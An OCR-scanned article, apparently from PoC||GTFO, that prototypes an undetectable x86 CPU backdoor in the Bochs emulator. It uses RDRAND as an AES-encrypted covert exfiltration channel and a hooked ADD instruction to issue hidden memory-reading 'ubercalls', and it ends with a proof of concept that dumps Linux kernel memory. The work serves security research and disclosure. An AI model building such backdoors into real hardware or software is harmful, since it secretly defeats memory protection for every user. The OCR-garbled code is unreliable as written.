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8 Prototyping a generic x86 backdoor in Bochs; or,
I’ll see your RDRAND backdoor and raise you a covert channel!

by Matilda

Inspired by Taylor Hornby’s article in PoC||GTFO 3:6 about a way to backdoor RDRAND, I designed
and prototyped a general backdoor for an x86 CPU that, without knowing a 128 bit AES key, can only be
proven to exist by reverse-engineering the die of the CPU.

In order to have a functioning backdoor we need several things. We need a context in which to execute
backdoor code and ways to communicate with the backdoor code. The first one is easy to solve. If we are
able to create new hardware on the CPU die, we can add an additional processor on it with a bit of memory
and have it be totally independent from any of the code that the x86 CPU executes. Let’s call this or its
Bochs emulation an Ubervisor.

We store the state for the ubervisor in an appropriately-named structure.

struct {
/* data to be encrypted x/
uint8 t evilbyte=0xff;
uint8 _t evilstatus=0xff;
/* counter for output covert channel x/

uint64 _t counter = 0; /* incremented by 1 each time RDRAND
is called x/
uint64 t i counter = 0; /* each time we enter ADD GgEgR we evaluate

((RAX << 64) | RBX) =~ AES k(i_counter)
and if it gives wus the magic number we end
up incrementing i_counter twice (to generate
256 bits of keystream , as we read 4 64 bit
regs). If we do not get the magic number,
we *xdo notx increment i_counter. this allows
us to remain in synchronization x/

/* key x/

uint8 t aes key [17] = "YELLOW SUBMARINE" ;

/* output status is 0 if we need to output the high half of the
block, or 1 if we meed to output the low half (and then increment the
counter afterwards, of course) x/
uint8 _t out_stat = 0;
} evil;

Communicating with the backdoor is harder. We need to find out how to pass data from user mode x86
code to the ubervisor. No code running on the CPU—whether in user mode, kernel mode, or even SMM
mode—should be able to determine if the CPU is backdoored.

8.1 Data exfiltration using RDRAND as a covert channel.

Let’s first focus on communication from the ubervisor to user mode x86 code.

An obvious choice to sneak data from the ubervisor to user mode x86 code is using RDRAND. There
is no way, besides reverse engineering the circuits implementing RDRAND, to tell whether the output of
RDRAND is acting as a covert channel. All other instructions may be comparable to legitimate known-
good reference CPU values against a possibly-backdoored CPU, where all registers and memory are checked
after each instruction. RDRAND being non-deterministic by nature, it is not possible to perform the same
differential analysis to detect backdoors without reverting to more costly techniques, such as timing analysis.

Our implementation of an RDRAND covert channel goes in the Bochs function BX_CPU_C: :RDRAND_-
Eq(bxInstruction_c *i).
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Bit64u val_ 64 = 0;
uint8 t ibuf [16];
/* input buffer is organized like this:

8 bytes — counter

6 bytes of padding

1 byte — ewilstatus
1 byte — evilbyte */

uint8 t obuf [16];
AES KEY keyctx;

AES set encrypt key(BX CPU THIS PTR evil.aes key, 128, &keyctx);

memcpy (ibuf , &(BX CPU_THIS PTR evil.counter), 8);
memset (ibuf + 8, Oxfe , 6);
memcpy (ibuf + 8 + 6, &(BX CPU_THIS PTR evil.evilstatus), 1);
memcpy (ibuf + 8 + 6 + 1, &(BX CPU_THIS PTR evil.evilbyte), 1);

AES encrypt(ibuf, obuf, &keyctx);

if (BX_CPU THIS PTR evil.out_ stat = 0) { /* output high half %/
memcpy(&val 64, obuf, 8);
BX CPU THIS PTR evil.out stat = 1;

} else { /* output low half x/
memcpy(&val 64, obuf + 8, 8);
BX CPU THIS PTR evil.out stat = 0;
BX_CPU_THIS_PTR evil.counter+-;

}

BX_ WRITE 64BIT_REG(i—>dst (), val_ 64);

Note that the output of RDRAND in the above code is AE Sy (noncel|counter), where we encode the data
we wish to exfiltrate in the nonce. The 64-bit counter is there just to make the output look random to anyone
who does not know the key. Unlike the standard uses of the counter mode, there is no xor-with-keystream
involved in our exfiltration at all; what we do is equivalent to using the CTR mode for encrypting a plaintext
of all zeros while transmitting actual data through the nonces.

The reason for this tweak is synchronization. Legitimate code may call RDRAND any number of times
between our own invocations. If we used the CTR mode to generate a keystream to XOR with the data
we exfiltrated, we would not be able to deduce the offset within the keystream given RDRAND values from
two sequential calls. With our nonce-based method, we suffer from no synchronization issues and retain all
security properties of the CTR mode.

Unless the counter overflows, the output of this version of RDRAND cannot be distinguished from random
data unless you know the AES key. Overflows can be avoided by incrementing the key just before the counter
overflows.

All we need now is to receive data from this covert channel as the output of two consecutive RDRAND
executions. In the rare case that the OS preempts us between the two RDRAND instructions to run
RDRAND for itself or another process, we need to try executing the two RDRANDs again. In practice, this
form of interruption has not been observed.

8.2 Data Infiltration to the Ubervisor

We now need to find a way for user mode x86 code to communicate data to the ubervisor while keeping it
impossible to detect it is doing so. First, we need to encrypt all the data we send to the ubervisor. Second,
we need a way to signal to the ubervisor that we would like to send it data.

I decided to hook the ADD_EqGgM function, which is called when an ADD operation on two 64 bit general
registers is decoded. In order to signal to the ubervisor that there is valid encrypted data in the registers, we
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put an encrypted magic cookie in RAX and RBX and test for it each time the hooked instruction is decoded.
If the magic cookie is found in RAX/RBX, we extract the encrypted data from RCX/RDX.

We encrypt the data with AES in counter mode, using a different counter than is used for the RDRAND
exfiltration. Again, we have a synchronization issue: how can we make sure we always know where the
ubervisor’s counter is? We resolve this by having the counter increment only when we see a valid magic
cookie and, of course, for each 128-bit chunk of keystream we generate afterwards (used to decrypt the data
we are sending to the ubervisor). That way, the ubervisor’s counter is always known to us, regardless of how
many times the hooked instruction is executed.

Note that CTR mode is malleable. If this were a production system, I would include a MAC and store
the MAC result in an additional register pair.

Here is the backdoored ADD_GqEqR function:
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BX INSF_TYPE BX CPP_AttrRegparmN (1) BX CPU C::ADD GgEqR(bxInstruction c¢ i)
{
Bit64u opl_ 64, op2 64, sum_64;
uint8 _t error = 1;
uint8 t data = Oxcc;
uint8 t keystream [16];

opl_64 = BX_READ ®4BIT_REG(i—>dst ());
op2 64 = BX READ ®BIT REG(i—>src());
sum_64 = opl_ 64 + op2_ 64;

/x Ubercall calling convention:
authentication :

RAX = 0299a0086fba28dfd1

RBX = 0xe2dd84b5c9688a03

arguments :

RCX = ubercall number

RDX = argument 1 (usually an address)
RSI = argument 2 (usually a value)

testing only:

RDI = return value
RBP = error indicator (1 iff an error occurred)
AAAAA testing only ~°°°7

ubercall numbers:
RCX = 0zabadbabe00000001 is PEEK to a virtual address

return *x(uint8 t %) RDX

RCX = 0zabadbabe00000002 is POKE to a virtual address

*(uint8 t %) RDX = RSI

if the page table walk fails, we don’t generate any kind of fault or
exception , we just write 1 to the error indicator field.

the page table that is wused is the one that is used when the current
process accesses memory

RCX = 0zabadbabe00000008 is PEEK to a physical address
return x(uint8 t %) RDX
RCX = 0Ozabadbabe00000004 is POKE to a physical address
x(uint8 t %) RDX = RSI

(we only read/write 1 byte at a time because anything else could
tnvolve alignment issues and/or access that cross page boundaries)

*/
ctr _output (keystream);
if ((RAX ~ #((uint64 t *) keystream)) — 0x99a0086fba28dfd1)

&& ((RBX ~ #((uint64 t *) keystream + 1)) = 0xe2dd84b5c9688a03)) {
// we have a wvalid ubercall, let’s do this tezxas—style
printf ("COUNTER = %0161X\n", BX CPU THIS PTR evil.i counter);
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printf("entered ubercall! RAX = %0161X RBX = %0161X RCX = %0161X RDX = %0161X\n" ,

RAX, RBX, RCX, RDX);
BX CPU_THIS PTR evil.i counter-++;
ctr _output (keystream);
BX_ CPU THIS PTR evil.i counter+;
switch (RCX =~ *((uint64 t x) keystream)) {
case 0Oxabadbabe00000001: // peek, wvirtual
access read linear mnofail(RDX ~ *((uint64 t x) keystream + 1),
1, 0, BX READ, (void %) &data, &error);
BX _CPU_THIS PTR evil.evilbyte = data;
BX CPU THIS PTR evil.evilstatus = error;
break;
BX CPU THIS PTR evil.out stat = 0; /+x we start at the hi half of the
output block now */
}
BX WRITE 64BIT REG(i—>dst (), sum_64);
SET FLAGS OSZAPC ADD 64(opl 64, op2 64, sum_ 64);
BX NEXT INSTR(i);
}
void BX CPU C::ctr output(uint8 t =xout) {

uint8 t ibuf [16];

AES KEY keyctx;
AES_set_encrypt_key (BX _CPU_THIS PTR evil.aes_ key, 128, &keyctx);
memset (ibuf , Oxef, 16);
memcpy (ibuf, &(BX CPU THIS PTR evil.i counter), 8);
AES encrypt(ibuf, out, &keyctx);
}

8.3 Fun things to do in Ring -4

Now that we have ways to get data in and out of the ubervisor, we need to consider what exactly can be
done within the ubervisor. In the general case, we create a bit of memory space and register space for our
ubervisor and have ubercalls that allow reading and writing from the ubervisor’s memory space as well as
starting and stopping the ubervisor execution to load and execute arbitrary code isolated from the x86 core.

For sake of simplicity, I just implemented one ubercall which reads a byte from the specified virtual
address and returns it via the RDRAND covert channel. This is done by ignoring all memory protection
mechanisms. I needed to make copies of all the functions involved in converting a long mode virtual address
into a physical address and strip out any code that changes the state of the CPU, including anything which
adds entries to the TLB or causes exceptions or faults.

This is what the function called access_read_linear_nofail does.

/* implementations of byte—at—a—time wvirtual read/writes for long mode that
never cause faults/exceptions and maybe do not affect TLB content x/

#define NEED CPU REG SHORTCUTS 1

#include "bochs.h"

#include "cpu.h"

#define LOG_THIS BX CPU THIS PTR

#define BX CR3 PAGING MASK (BX CONST64(0x000ffffffffff000))
#define PAGE DIRECTORY NX BIT (BX CONST64(0x8000000000000000))

#define BX PAGING PHY ADDRESS RESERVED BITS \
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(BX_PHY ADDRESS RESERVED BITS & BX_ CONST64(0 x fffffffffffff))
#define PAGING PAE_RESERVED BITS (BX PAGING PHY ADDRESS RESERVED BITS)
#define BX_LEVEL PMI4 3
#define BX_LEVEL PDPTE 2
#define BX_LEVEL PDE 1
#define BX_LEVEL, PTE 0

// keep it 4 letters
static const char xbx paging level[4] = { "PTE", "PDE", "PDPE", "PMI4" };

Bit8u BX_CPP_ AttrRegparmN (2)
BX CPU C::read virtual byte 64 nofail(unsigned s, Bit64u offset , uint8 t xerror)

{

Bit8u data;
Bit64u laddr = get laddr64(s, offset); // this is safe
if (! IsCanonical(laddr)) {
xerror = 1;
return 0;
}
access_read linear mnofail(laddr, 1, 0, BX READ, (void x) &data, error);
return data;
}
int BX CPU C::access read linear nofail(bx address laddr, unsigned len,

unsigned curr_pl, unsigned xlate rw,

void xdata, uint8 t *error)
{
Bit32u combined access = 0x06;
Bit32u lpf mask = 0xfff; // 4K pages
bx_ phy address paddress, ppf, poffset = PAGE OFFSET(laddr);
paddress = translate linear long mode nofail(laddr, error);
paddress = A20ADDR(paddress);
if (xerror =— 1) {
return 0;
}
access read physical(paddress, len, data);
return 0;
}
bx_ phy address BX CPU C:: translate linear long mode nofail(bx address laddr, uint8 t =xerror)
{
bx phy address entry addr[4];
bx_phy_address ppf = BX_CPU_THIS PTR cr3 & BX CR3 PAGING_MASK;
Bit64u entry [4];
bx_bool nx_fault = 0;
int leaf;
Bit64u offset mask = BX CONST64(0xO0000ffffffffffff);
Bit64u reserved = PAGING PAE RESERVED BITS;
if (! BX_CPU THIS PTR efer .get NXE())
reserved |= PAGE_DIRECTORY_ NX_BIT;
for (leaf = BX LEVEL PMI4;; —Ileaf) {
entry addr[leaf] = ppf + ((laddr >> (9 + 9xleaf)) & 0xff8);
access _read physical(entry addr[leaf]|, 8, &entry[leaf]);
BX NOTIFY PHY MEMORY ACCESS(entry addr|[leaf], 8, BX READ, (BX PTE ACCESS + leaf),
(Bit8ux)(&entry[leaf]) );

offset mask >>= 9;
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Bit64u curr entry = entry|[leaf];

int fault = check entry PAE(bx paging level[leaf], curr_ entry,
reserved , 0, &nx fault);
if (fault >= 0) {
serror = 1;
return 0;
}
ppf = curr entry & BX CONST64(0x000ffffffffff000);
if (leaf — BX LEVEL PTE) break;
if (curr entry & 0x80) {
if (leaf > (BX LEVEL PDE + !!bx cpuid support 1lg paging())) {
BX DEBUG(("PAE %s: PS bit set !", bx paging level[leaf]));
xerror = 1;
return 0;
}
ppf &= BX CONST64(0x000fffffffffe000);
if (ppf & offset mask) {
BX DEBUG(("PAE %s: reserved bit is set: 0x" FMT ADDRX6,
bx paging level[leaf], curr entry));
xerror = 1;
return 0;
}
break;
}
} /x for (leaf = BX LEVEL PMLj;; —leaf) */
serror = 0;
return ppf | (laddr & offset mask);
}

Please note that the above code chokes if reading more than one byte, because for simplicity, I have
removed all code that deals with alignment issues and reads that span multiple pages.

If we were making an actual CPU with this backdoor mechanism, we would be more devious: instead
of commanding a read when we make the ubercall, we would wait until the requested memory address is
read by a legitimate process. This is so that the operation is not observable by looking at the activity on
the wiring between the CPU and memory. That way, no software or hardware observation can reveal the
presence of this type of backdoor besides analyzing the CPU die itself.

Note that anything that the CPU can access has to be accessible by this type of backdoor. There is no
way to hide your information from this backdoor and still be able to process it with your CPU.

8.4 A PoC to dump kernel memory.

Once we have patched Bochs, we can start up Linux and run the following code to dump an arbitrary range
of virtual memory:

#include <openssl/aes.h>
#include <stdlib .h>
#include <string.h>
#include <stdint .h>
#include <stdio.h>

struct ctrectx {
uint64 t counter;

32




11

13

15

17

19

21

23

25

27

29

31

33

35

37

39

41

43

45

47

49

51

53

55

57

59

61

63

65

67

69

uint8 t aeskey [16];
b

void poke () {

volatile uint64 t c,d;

¢ = Oxaaabadbadbadbeef;

d = Oxbeefbeefbeefbeef;

asm volatile("rdrand %0\n\t"

"rdrand %1": "=r"(c¢), "=r"(d));

printf ("%0161X", c);

printf ("%0161X\n", d);

int main() {
volatile uint64 t rax;
volatile uint64_t rbx;
volatile uint64 t rcx;
volatile uint64_t rdx;
uint64 t base, len, ij;

struct ctrctx ctx;
uint8 t buf [16];

base = Oxffffffff8105c7e0;
len = 1024;
ctx.counter = 0;

memcpy (ctx . aeskey , "YELLOW SUBMARINE" , 16);

for (i = base; i < base + len; i++) {
ctr _output (buf, &ctx);

rax = 0x99a0086fba28dfd1l;
rbx = 0xe2dd84b5c9688a03;
rcx = Oxabadbabe00000001 ;

rdx = i;

rax "= x((uint64 t =) buf);

rbx "= *((uint64 t *) buf + 1);
ctx.counter—+-+;

ctr output (buf, &ctx);

recx "= x((uint64 t =) buf);

rdx "= #((uint64 t *) buf + 1);
ctx.counter+-+;

asm volatile (
"add %0, %1" : "=a" (rax) : "a" (rax), "b"

poke () ;

}

void ctr output(uint8 t soutput, struct ctrctx s*ctx) {

uint8 t ibuf [16];
AES KEY keyctx;
AES set encrypt key(ctx—>aeskey, 128, &keyctx);
memset (ibuf, Oxef, 16);
memcpy (ibuf, &(ctx—>counter), 8);
AES encrypt(ibuf, output, &keyctx);
}

(rbx), net

(rcx), nqn

(rdx):

)

33




11

13

15

In the above code, an output in peek_output will generate a memory dump. Look at the last byte in
each 16 byte block for the bytes of data.!?

for foo in ‘cat peek_output‘; do echo -n $foo |xxd -r -p | ./qw |
openssl enc -d -aes-128-ecb -nopad -K 59454c4c4f57205355424d4152494e45|xxd >> dump;done}

Here are the first few lines of a dump, beginning at Oxfffffff£8105c7e0.

0000000: db10 0000
0000000: dcl10 0000
0000000: dd10 0000
0000000: delO 0000
0000000: df10 0000
0000000: e010 0000
0000000: el110 0000
0000000: e210 0000
0000000: e310 0000
0000000: e410 0000
0000000: e510 0000
0000000: e610 0000
0000000: e710 0000
0000000: e810 0000
0000000: €910 0000
0000000: ealO 0000

0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000
0000

0000 fefe fefe fefe 00cO ................
0000 fefe fefe fefe 0O0be ................
0000 fefe fefe fefe 009f ................
0000 fefe fefe fefe 0000 ................
0000 fefe fefe fefe 0000 ................
0000 fefe fefe fefe 0000 ................
0000 fefe fefe fefe 0048 ............... H

0000 fefe fefe fefe 00c7 ................
0000 fefe fefe fefe 00c7 ................
0000 fefe fefe fefe 00d8 ................
0000 fefe fefe fefe 002f ............... /
0000 fefe fefe fefe 006f ............... o

0000 fefe fefe fefe 0081 ................
0000 fefe fefe fefe 00e8 ................
0000 fefe fefe fefe 000e ................
0000 fefe fefe fefe 00bd ................

Look at the first few bytes starting at Oxffffffff8105c7e0, which is in the text section of the kernel.
Run ./extract-vmlinux on the vmlinuz file and objdump -d to extract the code.
If you compare the first few bytes of the dump above with the output of objdump, you will find a match!

fEffEf£f8105c7df:
ffffffff8105c7el :
ffffffff8105c7e6 :
ffffffff8105c7ed :

75
be
48
e8

c0

9f 00 00 00

c7 c¢7 d8 2f 6f 81
Oe bd ff ff

Note that throughout the execution of this program, all the deterministic register/memory state is iden-
tical whether or not you run it on a CPU that has this backdoor. Full code is available by unzipping this

PDF file.!3

12The ./qu directive simply swaps endianess on all bytes in each quadword because of how we copied data from the output

buffer for AES into the registers.

13git clone https://github.com/matildah/bochsdoor
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